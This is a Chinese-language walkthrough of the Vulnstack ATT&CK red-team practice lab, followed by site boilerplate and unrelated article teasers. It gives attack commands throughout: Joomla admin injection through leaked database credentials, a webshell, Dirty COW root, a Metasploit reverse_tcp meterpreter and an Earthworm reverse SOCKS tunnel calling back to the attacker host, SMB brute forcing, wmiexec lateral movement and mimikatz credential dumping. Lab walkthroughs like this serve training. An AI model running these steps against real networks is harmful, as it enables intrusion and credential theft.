靶场实战 _ ATTCK 实战 Vulnstack 红队

环境配置

网络拓扑图 (仅供参考)

攻击机:kali ip:192.168.111.5靶机:web-centos 外网ip:192.168.111.10 内网ip:192.168.93.100web1-ubuntu ip: 192.168.93.120PC ip: 192.168.93.30win 2008 ip:192.168.93.20win 2012 ip:192.168.93.10

信息搜集

端口扫描:

nmap -sS 192.168.111.10

发现三个开放端口:22,80,3306

80 端口利用

发现是一个 joomla 搭建的网站

Joomla 是一套全球知名的内容管理系统,是使用 PHP 语言加上 MySQL 数据库所开发的

软件系统。

Kali Linux 中有一个漏洞扫描器叫做 Joomscan,专门用于查找 Joomla 中的漏洞。

apt install joomscan

进行扫描

joomscan -u 192.168.111.10

这里我们发现了一个后台地址和配置文件

从配置文件中我们可以得到数据库账号密码 testuser/cvcvgjASD!@ 和库名等信息

远程登录 MySQL

但是我们会发现此处的密码是加密过的,那么我们插入数据也应该修改为加密后的密码

那么如何得到加密的密码呢?我们可以再 joomla 的官方网站找到思路

https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F

我们插入它的示例代码就可以添加管理员 admin2/secret

INSERT INTO `am2zu_users`(`name`, `username`, `password`, `params`, `registerDate`,`lastvisitDate`, `lastResetTime`)VALUES ('Administrator2', 'admin2','d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`)VALUES (LAST_INSERT_ID(),'8');

利用新建用户登录后台,写入木马到 shell.php

Bypass disable_function

蚁剑连接,路径 http://192.168.111.10/templates/beez3/shell.php

尝试执行命令,发现 ret=127 应该是存在 disablefunction,可以用 LDPRELOAD

过,这里直接利用蚁剑插件,它会上传一个 .antproxy.php ,我们创建副本,将文件更改为 .antproxy.php 即可

内网渗透

内网信息搜集

ifconfig 发现一个网段192.168.93.0/24 和 一个IP地址192.168.93.120cat /etc/issue #查看系统名称 Ubuntu 16.04.6 LTS  \lcat /etc/*release #查看linux发行信息uname -a #查看内核版本cat /proc/version #查看内核信息cat /etc/passwd #存放用户名信息,没有密码信息cat /etc/shadow #存放用户名密码信息,密码被加密,只要root用户才能读取

可以发现这是一个内网 ip,且我们本身的 ip 并没有出现

继续进行信息搜集,在 /tmp/mysql 中发现一组用户密码,结合之前端口开放情况,

猜测可能是 ssh 凭证

我们使用 ssh 连接

也就是说该主机才是我们 ip 所在的主机,ubuntu 则是通过 nginx 反向代理到了 centos 主机。

反向代理(Reverse Proxy)方式是指以代理服务器来接受 Internet 上的连接请求,然后将请求转发给内部网络上的服务器。

至此我们已经拿下两台主机

web-centos 外网ip:192.168.111.10 内网ip:192.168.93.100web1-ubuntu ip: 192.168.93.120

脏牛提权

由于目前主机权限较低,为了进一步利用,我们需要对其进行提权,查看一下 centos

的内核版本

[wwwuser@localhost ~]$ uname -aLinux localhost.localdomain 2.6.32-431.el6.x86_64 #1 SMP Fri Nov22 03:15:09 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux

使用脏牛提权:

exp下载:https://github.com/FireFart/dirtycowCVE-2016-5195原理:linux内核的子系统在处理写入时复制至产生了竞争条件,恶意用户可利用此漏洞来获取高权限,对只读内存映射进行访问。竞争条件,指的是任务执行顺序异常,可导致应用奔溃,或令攻击者有机可乘,进一步执行其他代码,利用这一漏洞,攻击者可在其目标系统提升权限,甚至可能获取到root权限。影响版本:Centos7 /RHEL7 3.10.0-327.36.3.el7Cetnos6/RHEL6 2.6.32-642.6.2.el6Ubuntu 16.10 4.8.0-26.28Ubuntu 16.04 4.4.0-45.66Ubuntu 14.04 3.13.0-100.147Debian 8 3.16.36-1+deb8u2Debian 7 3.2.82-1

先将 exp 上传到 centos 可执行目录内

编译:

gcc -pthread dirty.c -o dirty -lcrypt

移除原本的 passwd.bak 文件

rm -rf /tmp/passwd.bak

执行编译后的文件,并设置密码

./dirty 123456

成功提权

MSF 上线

use exploit/multi/script/web_deliveryset target 7 # 选择目标系统set payload linux/x64/meterpreter/reverse_tcpset lhost 192.168.111.5set lport 4444exploit

此时我们在目标机上运行该命令

获得 meterpreter

存活主机探测

先添加路由,把 meterpreter 放在后台,进行存活主机探测。

run autoroute -s 192.168.93.0/24backgrounduse auxiliary/scanner/smb/smb_versionset rhosts 192.168.93.0/24exploit

得到了三台 TEST 域的 windows 主机

192.168.93.20 windows server 2008192.168.93.30 windows 7192.168.93.10 windows server 2012

尝试爆破一下 windows server 2008 的本地管理员

use auxiliary/scanner/smb/smb_loginset rhosts 192.168.93.20set SMBUser administratorset PASS_FILE /usr/share/wordlists/top1000.txtrun

smb 模块没有爆出来,我们利用其他软件试试

Sock 代理

路由转发只能将 msfconsole 带进内网,而要想将攻击机上的其他攻击程序也带进内网还

需要搭建 socks 代理。.earthworm 搭建 socks5 反向代理服务 是为了让 kali(攻击者)

的程序进入内网,可以扫描内网主机信息等。

https://github.com/idlefire/ew

在 kali 上执行

./ew_for_linux64 -s rcsocks -l 1080 -e 1234#将1080端口监听到的本地数据转发到 web服务器的1234端口# 通过1080端口,将本地流量转发出去#rcsocks、rssocks 用于反向连接#ssocks 用于正向连接# -l 指定本地监听的端口# -e 指定要反弹到的机器端口# -d 指定要反弹到机器的IP# -f 指定要主动连接的机器 ip# -g 指定要主动连接的机器端口# -t 指定超时时长,默认为 1000

之后将其上传到 centos,执行

./ew_for_linux64 -s rssocks -d 192.168.111.5 -e 1234#192.168.111.5 是攻击者kali的IP地址

将 socks5 服务器指向 1080 端口

vim /etc/proxychains.conf

此时已经能够成功 ping 通内网,我们利用 hydra 再尝试一下爆破

proxychains hydra -l administrator -P /tmp/top1000.txtsmb://192.168.93.20

成功!

横向移动

wmiexec 连接 win 主机

wmi 出现在所有的 windows 操作系统中,由一组强大的工具集合组成,用于管理本

地或远程的 windows 系统。攻击者使用 wmi 攻击时 windows 系统默认不会在日志中

记录这些操作,可以做到无日志、攻击脚本无需写入到磁盘,增加了隐蔽性。

安装:

git clone https://github.com/CoreSecurity/impacket.gitcd impacket/pip install .

连接 win 2008:

proxychains python3 wmiexec.py -debug'administrator:123qwe!ASD@192.168.93.20'

mimikatz 密码抓取

tasklist /V 查看进程(显示对应用户),发现TEST域进程,可以尝试抓密码。

使用 smbclient 通过代理连接 windows server 2008 上传 mimikatz.exe 文件

proxychains smbclient //192.168.93.20/C$ -U administratorput mimikatz.exe

下载地址:

https://github.com/gentilkiwi/mimikatz/releases

之后利用 wmi 抓取密码

mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords""exit" > log.log

得到 zxcASDqw123!!

此时我们还需要获得域控的 ip,先获得 win2008 的 ip

再 ping 一下域名服务器

也就是说域控信息:

ip:192.168.93.10administrator/zxcASDqw123!!

拿下域控

可以使用 wmiexec 连接

proxychains python3 wmiexec.py‘TEST.ORG/Administrator:zxcASDqw123!!@192.168.93.10’

或者使用 ipc 连接

IPC$(Internet Process Connection)是共享“命名管道”的资源,它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。利用IPC$连接者可以与目标主机建立一个连接,得到目标主机上的目录结构、用户列表等信息。利用条件:1. 管理员开启了默认共享2. 139或445端口开放net use \\192.168.93.10\admin$ zxcASDqw123!!/user:test\administrato

总结

  1. 脏牛提权

2.sock 代理

3.wmiexec

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/875342.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【C++】string类(下)

个人主页~ string类(上) string类 二、模拟实现string类1、头文件string.h2、常见构造3、容量函数4、访问及遍历5、类对象修改6、流插入流提取重载 二、模拟实现string类 今天我们来实现一下上篇文章中详细介绍过的接口 1、头文件string.h #pragma onc…

Redis的应用场景及类型

目录 一、Redis的应用场景 1、限流 2、分布式锁 3、点赞 4、消息队列 二、Redis类型的命令及用法 1、String类型 2、Hash类型 3、List类型 4、Set类型 5、Zset类型 6、Redis工具类 Redis使用缓存的目的就是提升读写性能 实际业务场景下,我们就可以把 Mys…

【常微分方程】

框架 常微分方程的概念一阶微分方程可变离分量齐次方程一阶线性微分方程可降阶的高阶微分方程二阶常系数齐次线性微分方程二阶常系数非齐次线性微分方程 讲解 【1】 常微分方程:是微分方程的特殊情况; 阶:是方程未知函数的最高阶导数的阶数&…

ElementUI,修改el-table中的数据,视图无法及时更新

需求&#xff1a;点击table表格中的“修改”之后&#xff0c;当前行变为可输入状态的行&#xff0c;点击“确定”后变为普通表格&#xff1b; 先贴上已经完美解决问题的代码 实现代码&#xff1a; <section><div style"display: flex;justify-content: space-b…

爬虫学习1:初学者简单了解爬虫的基本认识和操作(详细参考图片)

爬虫 定义&#xff1a;爬虫&#xff08;Web Crawler 或 Spider&#xff09;是一种自动访问互联网上网页的程序&#xff0c;其主要目的是索引网页内容&#xff0c;以便搜索引擎能够快速检索到相关信息。以下是爬虫的一些关键特性和功能&#xff1a; 自动化访问&#xff1a;爬虫能…

【React】事件绑定:深入解析高效处理用户交互的最佳实践

文章目录 一、什么是事件绑定&#xff1f;二、基本事件绑定三、绑定 this 上下文四、传递参数五、事件对象六、事件委托七、常见事件处理八、优化事件处理 React 是现代前端开发中最受欢迎的框架之一&#xff0c;其组件化和高效的状态管理能力使得构建复杂的用户界面变得更加容…

嵌入式MCU固件的几种Flash划分方式详解

通过OTA远程等方式下载的程序,其实还需要提前下载bootloader程序,才能进一步下载APP程序。 今天就来说说通过OTA方式升级固件时,几种flash划分方式。 独立型 所谓独立型就是专门划出一部分闪存(Flash)空间用来存储引导程序(BootLoader)。 如下图: BootLoader:引导…

扫地机器人离线语音识别芯片,工业级智能交互ic,NRK3301

随着科技的飞速发展&#xff0c;智能家居已成为人们追求高品质生活的新趋势。扫地机器人&#xff0c;作为智能家居的重要一员&#xff0c;正逐步从简单的清扫工具进化为具备高度智能的家居助手。 在这一背景下&#xff0c;离线语音识别技术显得尤为重要。传统的扫地机器人大多依…

问题记录-Spring Security- bean httpSecurity not found

问题描述 最近使用Security的时候报了下面的错误&#xff1a; 配置如下&#xff1a; EnableWebSecurity Slf4j public class SecurityConfig {Resourceprivate CustUserService custUserService;Beanpublic AuthenticationProvider authenticationProvider() {return new A…

element-plus时间组件el-date-picker只能选择当前及之前日期

<el-date-picker v-model"timeVal" type"daterange" value-format"YYYY-MM-DD" range-separator"To" start-placeholder"开始时间" end-placeholder"结束时间" />默认是这样的&#xff0c;需要绑定disabled…

一款基于Cortex-M0+的单片机音频编解码 - CJC2100

USBCodec芯片可以对数字音频信号进行多种处理&#xff0c;例如增加音量、均衡调节、音效处理等。这些处理可以通过耳机的控制按钮来实现&#xff0c;让用户可以根据自己的喜好来调整音频效果。USBCodec芯片还可以控制噪声和失真的水平&#xff0c;以提供高品质的音频输出。噪声…

[IMX6ULL]移植NXP Linux Kernel 5.15

移植NXP Linux Kernel 5.15 2024-7-7 hongxi.zhu 1. 下载NXP Linux Kernel 5.15 仓库[nxp-imx/linux-imx] git clone -b lf-5.15.y https://github.com/nxp-imx/linux-imx.git 2. 编译NXP Linux Kernel 5.15 make ARCHarm CROSS_COMPILEarm-linux-gnueabihf- distclean make…

【3D 重建】NeRF,3D Gaussian Splatting

文章目录 AI 甘安捏【入门介绍&#xff0c;形象生动】3D 重建技術 (一): 什麼是 3D 重建 (3D Reconstruction)&#xff1f;為什麼需要 3D 重建&#xff1f;【NeRF&#xff0c;3D Gaussian Splatting简介】3D 重建技術 (二): NeRF&#xff0c;AI技術革命 -- 用神經網路把場景「背…

【维普网】收录的电子刊汇总(部分省市职称评审认可)

《中国科技期刊数据库&#xff08;文摘版&#xff09;医药卫生》是经国家新闻出版总署批准&#xff0c;科技部西南信息中心主管、重庆维普资讯有限公司主办的连续型电子出版物。国内刊号&#xff1a;50-9212/R&#xff0c;国际刊号&#xff1a; 1671-5608。主要栏目为影像与检验…

Cornerstone3D 演示库恢复更新啦~

前言 从0上手Cornerstone3D系列的git库终于有时间更新优化了一版。主要更新以下内容&#xff1a; ✨ vue2更新至vue3版本&#xff0c;代码迁移为vue3组合式写法 ✨ UI风格升级&#xff0c;新增交互提示 ✨ 修复页面切换报错问题 ✨ … 关于git库 &#x1f3af; 地址&…

el-upload照片墙自定义上传多张图片(手动一次性上传多张图片)包含图片回显,删除

需求&#xff1a;el-upload照片墙自定义上传多张图片&#xff08;手动一次性上传多张图片&#xff09;包含图片回显&#xff0c;删除&#xff0c;预览&#xff0c;在网上看了很多&#xff0c;都没有说怎么把数据转为file格式的&#xff0c;找了很久最终实现&#xff0c; 难点&a…

第4章 .NET 8.0 ASP.NET Core图书管理系统 :项目布局

第1章 框架学习的基石与实战策略 第2章 大话ASP.NET Core 入门 第3章 创建最小&#xff08;Minimal APIs&#xff09;API应用程序 第4章 .NET 8.0 ASP.NET Core图书管理系统 &#xff1a;项目布局 在第3章中&#xff0c;我们利用ASP.NET Core的“空”模板创建了BookQueryS…

lua 游戏架构 之 游戏 AI (五)ai_autofight_find_way

这段Lua脚本定义了一个名为 ai_autofight_find_way 的类&#xff0c;继承自 ai_base 类。 lua 游戏架构 之 游戏 AI &#xff08;一&#xff09;ai_base-CSDN博客文章浏览阅读238次。定义了一套接口和属性&#xff0c;可以基于这个基础类派生出具有特定行为的AI组件。例如&…

【Python】成功解决conda创建虚拟环境时出现的CondaHTTPError: HTTP 000 CONNECTION FAILED错误

【Python】成功解决conda创建虚拟环境时出现的CondaHTTPError: HTTP 000 CONNECTION FAILED错误 &#x1f308; 欢迎莅临我的个人主页&#x1f448;这里是我深耕Python编程、机器学习和自然语言处理&#xff08;NLP&#xff09;领域&#xff0c;并乐于分享知识与经验的小天地&a…

20240724----idea的Java环境卸载与安装

1.删除旧有的jdk https://blog.csdn.net/weixin_42168713/article/details/112162099 &#xff08;补充&#xff1a;我把用户变量和java有关的都删了&#xff09; 2.下载新的jdk百度网盘链接 链接&#xff1a;https://pan.baidu.com/s/1gkuLoxBuRAtIB1IzUTmfyQ 提取码&#xf…